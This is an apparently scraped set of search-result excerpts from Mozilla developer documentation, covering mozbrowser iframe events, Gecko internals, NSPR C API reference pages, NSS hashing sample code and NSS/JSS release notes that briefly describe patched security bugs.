... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserdocumentfirstpaint", function() { console.log("first content painted."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserfirstpaint
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserfirstpaint", function(event) { console.log("first content painted."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowseropentab
the mozbrowseropentab event is fired when a new tab is opened within a browser <iframe> as a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropentab", function( event ) { console.log("a new document has opened containing the content at " + event.details.url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserresize
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...xample var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserresize", function( event ) { console.log("the new window size is " + event.details.width + " x " + event.details.height + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserscrollareachanged
this can occur on resize and when the page size changes (while loading for example.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...ument.queryselector("iframe"); browser.addeventlistener("mozbrowserscrollareachanged", function( event ) { console.log("the new scroll area is " + event.details.width + " x " + event.details.height + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserscrollviewchange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscrollviewchange", function( event ) { console.log("scrolling has " + event.details.state + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowsertitlechange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsertitlechange", function( event ) { console.log("the title of the document is:" + event.detail); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowserusernameandpasswordrequired ...
HTMLIFrameElement.sendTouchEvent()
possible values are touchstart, touchend, touchmove, or touchcancel.
... modifiers a number representing a key pressed at the same time the mouse button was clicked: 1 : alt 2 : ctrl 4 : shift 8 : meta 16 : alt gr 32 : caps lock 64 : fn 128 : num lock 256 : scroll 512 : symbol lock 1024 : win note: you can specify multiple key modifiers separated by a pipe symbol, for example 1 | 1014.
... examples var browser = document.queryselector('iframe'); browser.sendtouchevent("touchstart", [1], [x], [y], [2], [2], [20], [0.5], 1, 0); specification not part of any specification.
Chrome-only API reference
MozillaGeckoChromeAPI
browser apithe html browser api is an extension of the html <iframe> element that allows web apps to implement browsers or browser-like applications.
... it currently works in (privileged) chrome code on firefox desktop (version 47 and above).chromeworkerif you're developing privileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using chromeworker instead of the standard worker object.
...to use a postmessage with callback version of chromeworker that features promises, see promiseworker.
overflow-clip-box
prior to firefox 29, this behavior was hardcoded; since then it uses this property that can be used elsewhere too.
... initial valuepadding-boxapplies toall elementsinheritednomediavisualcomputed valueas specifiedanimation typediscretecanonical orderthe unique non-ambiguous order defined by the formal grammar syntax values padding-box this keyword makes the clipping be related to the padding box.
... border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box: padding-box; } js function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
MozScrolledAreaChanged
note: while you can poll the values of document.scrollwidth and document.scrollheight to watch for changes to the document size, reading these properties can trigger document reflow, which can make them computationally expensive.
... specification mozilla specific interface uievent bubbles yes cancelable yes target defaultview, document default action none properties property type description targetread only eventtarget the event target (the topmost target in the dom tree).
... cancelableread only boolean whether the event is cancellable or not.
Gecko's "Almost Standards" Mode
"almost standards" rendering mode is exactly the same as "standards" mode in all details save one, where it works like "quirks" mode: the height calculations for line boxes and some of the inline elements in them.
... a common case that this affects is the layout of images inside table cells.
...meyer, netscape communications last updated date: published 08 nov 2002 copyright information: copyright © 2001-2003 netscape.
How to add a build-time test
standalone executables to add a test that is written in c or c++ and which is called as a standalone executable, a few things must be done.
...you can of course use unit or test if you're not feeling creative.
...you can of course just use the onetests_type directory here, but if you want to subdivide your tests by functionality, separate directories is the way to go.
TypeListener
typelisteners can be registered with addtypelistener() and will then receive notification as addontype are registered and unregistered.
... method overview void ontypeadded(in addontype type) void ontyperemoved(in addontype type) methods ontypeadded() called when an add-on type has been added.
... void ontypeadded( in addontype type ) parameters type the addontype that is being added needsrestart true if an application restart is necessary for the change to take effect ontyperemoved() called when an add-on type has been removed.
Widget Wrappers
properties all of a wrapper's properties are read-only unless otherwise indicated.
...l toggle all the widgets' nodes' disabled states label for api-provided widgets, the label of the widget tooltiptext for api-provided widgets, the tooltip of the widget showinprivatebrowsing for api-provided widgets, whether the widget is visible in private browsing single wrapper properties all of a wrapper's properties are read-only unless otherwise indicated.
...this will point to the overflow chevron on overflowable toolbars if and only if your widget node is overflowed, to the anchor for the panel menu if your widget is inside the panel menu, and to the node itself in all other cases overflowed boolean indicating whether the node is currently in the overflow panel of the toolbar isgroup false, will be true for the group widget label for api-provided widgets, convenience getter for the label attribute of the dom node tooltiptext for api-provided widgets, convenience getter for the tooltiptext attribute of the dom node ...
DownloadLastDir.jsm
to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloadlastdir.jsm"); if you are using addon sdk, you can import the code module as: let { cu } = require("chrome"); let downloadlastdir = cu.import("resource://gre/modules/downloadlastdir.jsm").downloadlastdir; once you've imported the module, you can then use the downloadlastdir object it exports.
... using the downloadlastdir object to determine or set the path into which the last download occurred: // file is an nsifile var file = downloadlastdir.file; downloadlastdir.file = file; you can also set and retrieve this information on a site-by-site basis.
... to set the path, use setfile: // file is an nsifile downloadlastdir.setfile(uri, file); to retrieve the path in firefox 26 or later, use getfileasync: downloadlastdir.getfileasync(uri, function (file) { // file is an nsifile console.log(file); }); deprecated since gecko 26.0 to retrieve the path in firefox 25 or earlier, use getfile: // file is an nsifile var file = gdownloadlastdir.getfile(uri); console.log(file); private browsing mode when browsing normally, the browser uses the browser.download.lastdir preference to store the last download directory path.
Log.jsm
// use dots to create a hierarchy, this way you can later change // the log level of sets of loggers under some common root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console.
...something bad happened!"); log.debug("details about bad thing only useful during debugging", {someinfo: "nothing"}); log.warn("here is an error", new error("ouch")); logger levels fatal severe errors that cause premature termination.
... warn use of deprecated apis, poor use of api, 'almost' errors, other runtime situations that are undesirable or unexpected, but not necessarily "wrong".
Mozilla MathML Status
an overview of the mathml 3 elements/attributes - excluding deprecated ones - and the current status of the native support.
... mscarries not implemented.
... mscarry not implemented.
Various MathML Tests
overview of presentation mathml elements testing tensor indices <mmultiscripts>: r i1 j2 k3 ; this with <none/>, a qp i a bit of calculus: ∫ a b f ( x ) dx ∂ ∂ x f ( x , y ) + ∂ ∂ y f ( x , y ) here is the alphabet with invisible portions wrapped by <mphantom> in between: a b c d e f g h i j k l m n o p q r s t u v w x y z .
... testing mathml <mrow>: d ( a b ) x 2 + 4 * x + p q = 0 , with this <mfrac> hanging here d * t ( i + j n ) + p y * q p x * b x + a + c d in the middle of a lot of running text to try to explain what this means to those who care to read.
... thomson scattering theory d 2 p d Ω s   d ω s = r e 2 ∫ v < s i > d 3 r ∫ | e ^ .
mozilla::MutexAutoLock
the mozilla::mutexautolock constructor will lock() the underlying mozilla::mutex automatically.
...because of mozilla::mutexautounlock, the rule for determining if your code owns the mutex underlying the mutexautolock is slightly more complicated than that for monitorautoenter.
... this is because mutexautounlocks can be nested within mutexautolocks and vice versa, indefinitely deeply.
mozilla::MutexAutoUnlock
the mozilla::mutexautounlock constructor will unlock() the underlying mozilla::mutex automatically.
...because of mozilla::mutexautolock, the rule for determining if your code does not own the mutex underlying the mutexautounlock is slightly more complicated than that for monitorautoenter.
... this is because mutexautounlocks can be nested within mutexautolocks and vice versa, indefinitely deeply.
Build Metrics
"build metrics" is a catch-all term for performance measures that are generated by the firefox build system and tracked by perfherder.
...static constructors are undesirable because their initialization imposes an unavoidable time penalty every time firefox is started.
...since perfherder alerts are calculated based on the mean value of a range, a regression may be reported as a fractional value.
Preferences
the preference system makes it possible to store data for mozilla applications using a key/value pairing system.
... using preferences from application code firefox 6 introduced static functions for accessing preferences efficiently from within application code.
... this api is not available for add-ons, but if you're working on a gecko application, this api is the preferred way to access preferences.
Firefox Sync
it uses firefox accounts for account, authentication and key management.
...your data can only be decrypted by someone who is able to log in to your firefox account (ie, that knows your firefox accounts password and has access to your email for the verification required during the initial login).
... documentation this document serves as an index for all technical documentation related to sync.
JSHydra
jshydra is a static analysis tool that is capable of performing analysis of general javascript code.
... it is inspired by the dehydra and treehydra tools, which can perform similar tasks in c++ code.
... mailing list newsgroup rss feed #static on irc.mozilla.org blogs joshua cranmer related topics dehydra, treehydra, spidermonkey categories interwiki language links ...
MailNews
it provides a number of functions and capabilities, including: communications protocols - smtp, pop3, imap, nntp message management, including search and filtering message composition address book the mailnews code lives in the mailnews/ directory of comm-central.
... mailnews automated testing automated testing is an increasingly significant and important part of mailnews development.
... it allows reviewers to quickly pick up regressions in patches and helps developers to think about different cases.
Programs Using NSPR
the following programs are known to use nspr, or portions of it: gecko using programs (mozilla application suite, firefox, thunderbird, camino, etc.) many fedora/red hat and sun server applications.
... most of these are derived from netscape servers.
... netscape alumni took nspr with them to their new companies: good technology, kontiki, tellme networks.
Monitors
monitor type monitor functions with a mutex of type prlock, a single thread may enter the monitor only once before it exits, and the mutex can have multiple associated condition variables.
... a call to pr_wait temporarily returns the entry count to zero.
... when the calling thread resumes, it has the same entry count it had before the wait operation.
Network Addresses
typically, the only numeric declarations required are the well-known port numbers that are part of the prnetaddr structure.
...by using these functions with other network address functions, clients can support either version 4 or version 6 of the internet protocol transparently.
... pr_initializenetaddr converting between a string and a network address pr_stringtonetaddr pr_netaddrtostring converting address formats pr_convertipv4addrtoipv6 getting host names and addresses pr_gethostbyname pr_gethostbyaddr pr_enumeratehostent pr_getaddrinfobyname pr_enumerateaddrinfo pr_getcanonnamefromaddrinfo pr_freeaddrinfo getting protocol entries pr_getprotobyname pr_getprotobynumber ...
PL_CompareValues
compares two void * values numerically.
... syntax #include <plhash.h> printn pl_comparevalues(const void *v1, const void *v2); description pl_comparevalues compares the two void * values v1 and v2 numerically, i.e., it returns the value of the expression v1 == v2.
... pl_comparevalues can be used as the comparator function for integer or pointer-valued key or entry value.
PL_NewHashTable
you can pass a value of 0 as numbuckets to create the default number of buckets in the new table.
...when the allocation functions in allocops are invoked, the allocation private data allocpriv is passed as the first argument (pool).
... you can specify a null value for allocops to use the default allocation functions.
PL_strdup
if the memory allocation fails, null.
... description to accommodate the terminator, the size of the allocated memory is one greater than the length of the string being copied.
...notes the memory allocated by pl_strdup should be freed with pl_strfree.
PRErrorCode
type for error codes that can be retrieved with pr_geterror.
... you can also set your own errors using pr_seterror.
...if nspr's error handling is adopted by calling clients, then some sort of partitioning of the namespace will have to be employed.
PRThreadPriority
only one thread at a time typically has this priority.
... pr_priority_last placeholder description in general, an nspr thread of higher priority has a statistically better chance of running relative to threads of lower priority.
... however, because of the multiple strategies nspr uses to implement threading on various host platforms, nspr priorities are not precisely defined.
PRThreadType
pr_system_thread nspr ignores threads of type pr_system_thread when determining when a call to pr_cleanup should return.
... description threads can be either user threads or system threads.
...the applicability of system threads is somewhat dubious; therefore, they should be used with caution.
PR_Assert
file the file name of the compilation unit containing this function call.
... ln the line number within the specified file of this function call.
... normally an application would not call this function directly; use pr_assert instead.
PR_CExitMonitor
decrement the entry count associated with a cached monitor.
...this may indicate that the address parameter is invalid or that the calling thread is not in the monitor.
... description using the value specified in the address parameter to find a monitor in the monitor cache, pr_cexitmonitor decrements the entry count associated with the monitor.
PR_CNotifyAll
the calling thread must be in the monitor at the time pr_cnotifyall is called.
... returns pr_success indicates that the referenced monitor was located and the calling thread was in the monitor.
... pr_failure indicates that the referenced monitor could not be located or that the calling thread was not in the monitor description using the value specified in the address parameter to find a monitor in the monitor cache, pr_cnotifyall notifies all threads waiting for the monitor's state to change.
PR_ClearInterrupt
clears the interrupt request for the calling thread.
...in this case, the request for interrupt is still pending with the thread and must be explicitly canceled.
... therefore it is sometimes necessary to call pr_clearinterrupt to clear a previous interrupt request.
PR_CloseDir
the reason for the failure can be retrieved via pr_geterror.
... description when a prdir object is no longer needed, it must be closed and freed with a call to pr_closedir call.
... note that after a pr_closedir call, any prdirentry object returned by a previous pr_readdir call on the same prdir object becomes invalid.
PR_CreateThread
start a pointer to the thread's root function, which is called as the root of the new thread.
... scope specifies your preference for making the thread local (pr_local_thread), global (pr_global_thread) or global bound (pr_global_bound_thread).
...you can then use pr_jointhread to synchronize the termination of another thread.
PR_DELETE
allocates memory of a specified size from the heap.
...must be an lvalue (an expression that can appear on the left side of an assignment statement).
... description this macro returns allocated memory to the heap from the specified location and sets _ptr to null.
PR_EnumerateHostEnt
on output, this structure is filled in by the runtime if the result of the call is greater than 0.
... returns the function returns one of the following values: if successful, the function returns the value you should specify in the enumindex parameter for the next call of the enumerator.
...you can retrieve the reason for the failure by calling pr_geterror.
PR_GetLibraryPath
in case of error, returns null.
...if sufficient storage cannot be allocated to contain the copy, the function returns null.
... storage for the result is allocated by the runtime and becomes the responsibility of the caller.
PR_GetRandomNoise
syntax #include <prrng.h> nspr_api(prsize) pr_getrandomnoise( void *buf, prsize size ); parameters the function has these parameters: buf a pointer to a caller-supplied buffer to contain the generated random number.
...a return value of zero means that pr_getrandomnoise is not implemented on this platform, or there is no available noise to be returned at the time of the call.
...this implies that the random value provided may not be, by itself, cryptographically secure.
PR_ImplodeTime
converts a clock/calendar time to an absolute time.
... syntax #include <prtime.h> prtime pr_implodetime(const prexplodedtime *exploded); parameters the function has these parameters: exploded a pointer to the clock/calendar time to be converted.
... description this function converts the specified clock/calendar time to an absolute time and returns the converted time value.
PR_MkDir
caveat: the mode parameter is currently applicable only on unix platforms.
... it may be applicable to other platforms in the future.
...the actual reason can be retrieved via pr_geterror.
PR_NotifyAllCondVar
if unsuccessful (for example, if the caller has not locked the lock associated with the condition variable), pr_failure.
... description the calling thread must hold the lock that protects the condition, as well as the invariants that are tightly bound to the condition.
... a call to pr_notifyallcondvar causes all of the threads waiting on the specified condition variable to be promoted to a ready state.
PR_PopIOLayer
if the layer is not found in the stack or cannot be popped (for example, the bottommost layer), the function returns null with the error code pr_invalid_argument_error.
...if the object to be removed is found, pr_popiolayer returns a pointer to the removed object the object then becomes the responsibility of the caller.
... even if the identity indicates the top layer of the stack, the reference returned is not the file descriptor for the stack and that file descriptor remains valid.
PR_Recv
returns the function returns one of the following values: a positive number indicates the number of bytes actually received.
... the value -1 indicates a failure.
... the reason for the failure can be obtained by calling pr_geterror.
PR_RecvFrom
returns the function returns one of the following values: a positive number indicates the number of bytes actually received.
... the value -1 indicates a failure.
... the reason for the failure can be obtained by calling pr_geterror.
PR_Send
returns the function returns one of the following values: a positive number indicates the number of bytes successfully sent.
... the value -1 indicates a failure.
... the reason for the failure can be obtained by calling pr_geterror.
PR_WaitForPollableEvent
blocks the calling thread until the pollable event is set, and then atomically unsetting the event before returning.
... syntax nspr_api(prstatus) pr_waitforpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_newpollableevent.
...the reason for the failure can be retrieved via pr_geterror.
PR_Write
returns one of the following values: a positive number indicates the number of bytes successfully written.
... the value -1 indicates that the operation failed.
... the reason for the failure is obtained by calling pr_geterror.
Running NSPR tests
it doesn't necessarily mean the test suite failed because some of the test programs are known to fail.
...then you can detect regressions of the new version by comparing its test results with the benchmark.
...this is not an issue if you run runtests.sh because runtests.sh knows not to run such test programs directly.
JSS 4.4.0 Release Notes
jss 4.4.0 requires netswork security services (nss) 3.29.1 and netscape portable runtime (nspr) 4.13.1 or newer.
... bugs fixed in jss 4.4.0 this bugzilla query returns all the bugs fixed in nss 4.4.0: https://bugzilla.mozilla.org/buglist.cgi?product=jss&target_milestone=4.4&target_milestone=4.4&bug_status=resolved&resolution=fixed documentation build instructions for jss at https://hg.mozilla.org/projects/jss/file/tip/readme platform information you can check out the source from mercurial via hg clone -r 055aa3ce8a61 https://hg.mozilla.org/projects/jss jss 4.4.0 works with openjdk versions 1.7 or higher we suggest the latest - openjdk 1.8.
...furthermore, applications that restrict their use of jss apis to the functions listed in jss public functions will remain compatible with future versions of the jss shared libraries.
NSS 3.14.3 release notes
the details of their research and the attack can be found at http://www.isg.rhul.ac.uk/tls/, and has been referred to as "lucky thirteen".
...bugs fixed in nss 3.14.3 https://bugzilla.mozilla.org/buglist.cgi?list_id=5689256;resolution=fixed;classification=components;query_format=advanced;target_milestone=3.14.3;product=nss compatibility nss 3.14.3 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.16.2.1 release notes
this is a patch release to fix a bug that caused nss to accept forged rsa signatures.
...applications that use or depend on these symbols can and will break in future nss releases.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.16.2.3 release notes
new functionality tls_fallback_scsv is a signaling cipher suite value that indicates a handshake is the result of tls version fallback.
... in sslproto.h tls_fallback_scsv - a a signaling cipher suite value that indicates a handshake is the result of tls version fallback.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.16.5 release notes
this is a patch release to fix a bug that caused nss to accept forged rsa signatures.
...applications that use or depend on these symbols can and will break in future nss releases.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.19.1 release notes
nss will generate, import, or use has been raised: the minimum modulus size for rsa keys is now 512 bits the minimum modulus size for dsa keys is now 1023 bits the minimum modulus size for diffie-hellman keys is now 1023 bits bugs fixed in nss 3.19.1 this bugzilla query returns all the bugs fixed in nss 3.19.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.19.1 acknowledgements the nss development team would like to thank matthew green and karthikeyan bhargavan for responsibly disclosing the issue in bug 1138554.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
...this has been shown to break some applications.
NSS 3.22.2 release notes
an attacker could create a specially-crafted certificate which, when parsed by nss, would cause a crash or execution of arbitrary code with the permissions of the user.
... notable changes in nss 3.22.2 bug 1247990 - the root ca changes from nss 3.23 have been backported.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.27.2 Release Notes
notable changes in nss 3.27.2 the ssl_settrustanchors() function is used to set the distinguished names that an nss server includes in its tls certificaterequest message.
... this can be a lengthy list.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.36 release notes
nss 3.36 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_rtm/src/ (make a link) new in nss 3.36 new functionality experimental apis for tls session cache handling.
... bugs fixed in nss 3.36 this bugzilla query returns all the bugs fixed in nss 3.36: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36 compatibility nss 3.36 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.40 release notes
this is a c++ library for building certification paths.
... the following ca certificates were removed: cn = visa ecommerce root sha-256 fingerprint: 69fac9bd55fb0ac78d53bbee5cf1d597989fd0aaab20a25151bdf1733ee7d122 bugs fixed in nss 3.40 bug 1478698 - ffdhe key exchange sometimes fails with decryption failure this bugzilla query returns all the bugs fixed in nss 3.40: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.40 compatibility nss 3.40 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.48.1 release notes
bugs fixed in nss 3.48.1 bug 1606992 - cache the most recent pbkdf2 password hash, to speed up repeated sdr operations, important with the increased kdf iteration counts.
... this bugzilla query returns all the bugs fixed in nss 3.48: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.48 compatibility nss 3.48.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.49.1 release notes
bugs fixed in nss 3.49.1 bug 1606992 - cache the most recent pbkdf2 password hash, to speed up repeated sdr operations, important with the increased kdf iteration counts.
... this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.49.2 release notes
bugs fixed in nss 3.49.2 bug 1606992 - cache the most recent pbkdf1 password hash, to speed up repeated sdr operations, important with the increased kdf iteration counts.
... bug 1608327 - fix compilation problems with neon-specific code in freebl bug 1608895 - fix a taskcluster issue with python 2 / python 3 this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.50 release notes
bugs fixed in nss 3.50 bug 1599514 - update dtls 1.3 implementation to draft-30 bug 1603438 - fix native tools build failure due to lack of zlib include dir if external bug 1599603 - nist sp800-108 kbkdf - pkcs#11 implementation bug 1606992 - cache the most recent pbkdf1 password hash, to speed up repeated sdr operations, important with the increased kdf iteration counts.
... this bugzilla query returns all the bugs fixed in nss 3.50: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.50 compatibility nss 3.50 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS Sample Code Sample_1_Hashing
* returns null if the name is not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned i...
...ecify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stderr, hash_names[htype].hashname); if (htype == (hash_algtotal - 2)) fprintf(stderr, " or "); else if (htype != (hash_algtotal - 1)) fprintf(stderr, ", "); } fprintf(stderr, " (case ignored))\n"); fprintf(stderr, "%-20s define an input file to use (default is stdin)\n", "< input"); fprintf(stderr, "%-20s define an output file to use (default is stdout)\n", "> output"); exit(-1); } /* * check for the missing arguments */ static void printmsgandexit(const char *progname, char opt) { fprintf(stderr, "%s: option -%c requires an argume...
... + 1 : argv[0]; rv = nss_nodb_init("/tmp"); if (rv != secsuccess) { fprintf(stderr, "%s: nss_init failed in directory %s\n", progname, "/tmp"); return -1; } /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "t:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 't': require_arg(optstate->option, optstate->value); hashname = strdup(optstate->value); break; } } if (!hashname) usage(progname); /* convert and validate */ hashoidtag = hashnametooidtag(hashname); if (hashoidtag == sec_oid_unknown) { fprintf(stderr, "%s: invalid digest type - %s\n", progname, hashname); ...
sample1
* returns null if the name is not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit =...
...digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stderr, hash_names[htype].hashname); if (htype == (hash_algtotal - 2)) fprintf(stderr, " or "); else if (htype != (hash_algtotal - 1)) fprintf(stderr, ", "); } fprintf(stderr, " (case ignored))\n"); fprintf(stderr, "%-20s define an input file to use (default is stdin)\n", "< input"); fprintf(stderr, "%-20s define an output file to use (default is stdout)\n", "> output"); exit(-1); } /* check for the missing arguments */ static void printmsgandexit(const char *progname, char opt) { fprintf(stderr, "%s: option -%c requires...
...name + 1 : argv[0]; rv = nss_nodb_init("/tmp"); if (rv != secsuccess) { fprintf(stderr, "%s: nss_init failed in directory %s\n", progname, "/tmp"); return -1; } /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "t:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 't': require_arg(optstate->option, optstate->value); hashname = strdup(optstate->value); break; } } if (!hashname) usage(progname); /* convert and validate */ hashoidtag = hashnametooidtag(hashname); if (hashoidtag == sec_oid_unknown) { fprintf(stderr, "%s: invalid digest type - %s\n", progname, hashn...
PKCS 12 functions
the public functions listed here perform pkcs #12 operations required by some of the nss tools and other applications.
...the nss version column indicates which versions of nss support the function.
... sec_pkcs12decoderfinish mxr 3.2 and later sec_pkcs12decodergetcerts mxr 3.4 and later sec_pkcs12decoderimportbags mxr 3.2 and later sec_pkcs12decoderiterateinit mxr 3.10 and later sec_pkcs12decoderiteratenext mxr 3.10 and later sec_pkcs12decodersettargettokencas mxr 3.8 and later sec_pkcs12decoderstart mxr 3.2 and later sec_pkcs12decoderupdate mxr 3.2 and later sec_pkcs12decodervalidatebags mxr 3.2 and later sec_pkcs12decoderverify mxr 3.2 and later sec_pkcs12destroyexportcontext mxr 3.2 and later ...
Build instructions
use_debug_rtl: if set to 1, on windows, causes build with debug version of the c run-time library.
...you can install the new assembler as root as follows: yum install binutils220 you can then use the new assembler by adding /usr/libexec/binutils220 to the beginning of your build path.
... this can be done in sh or bash as follows: export path=/usr/libexec/binutils220:$path the following build instructions should work for all platforms (with some platform-specific changes as noted).
Migration to HG
each project now lives in its own separate space, they can be found at: https://hg.mozilla.org/projects/nspr/ https://hg.mozilla.org/projects/nss/ https://hg.mozilla.org/projects/jss/ https://hg.mozilla.org/projects/python-nss/ this migration has been used as an opportunity to change the layout of the source directories.
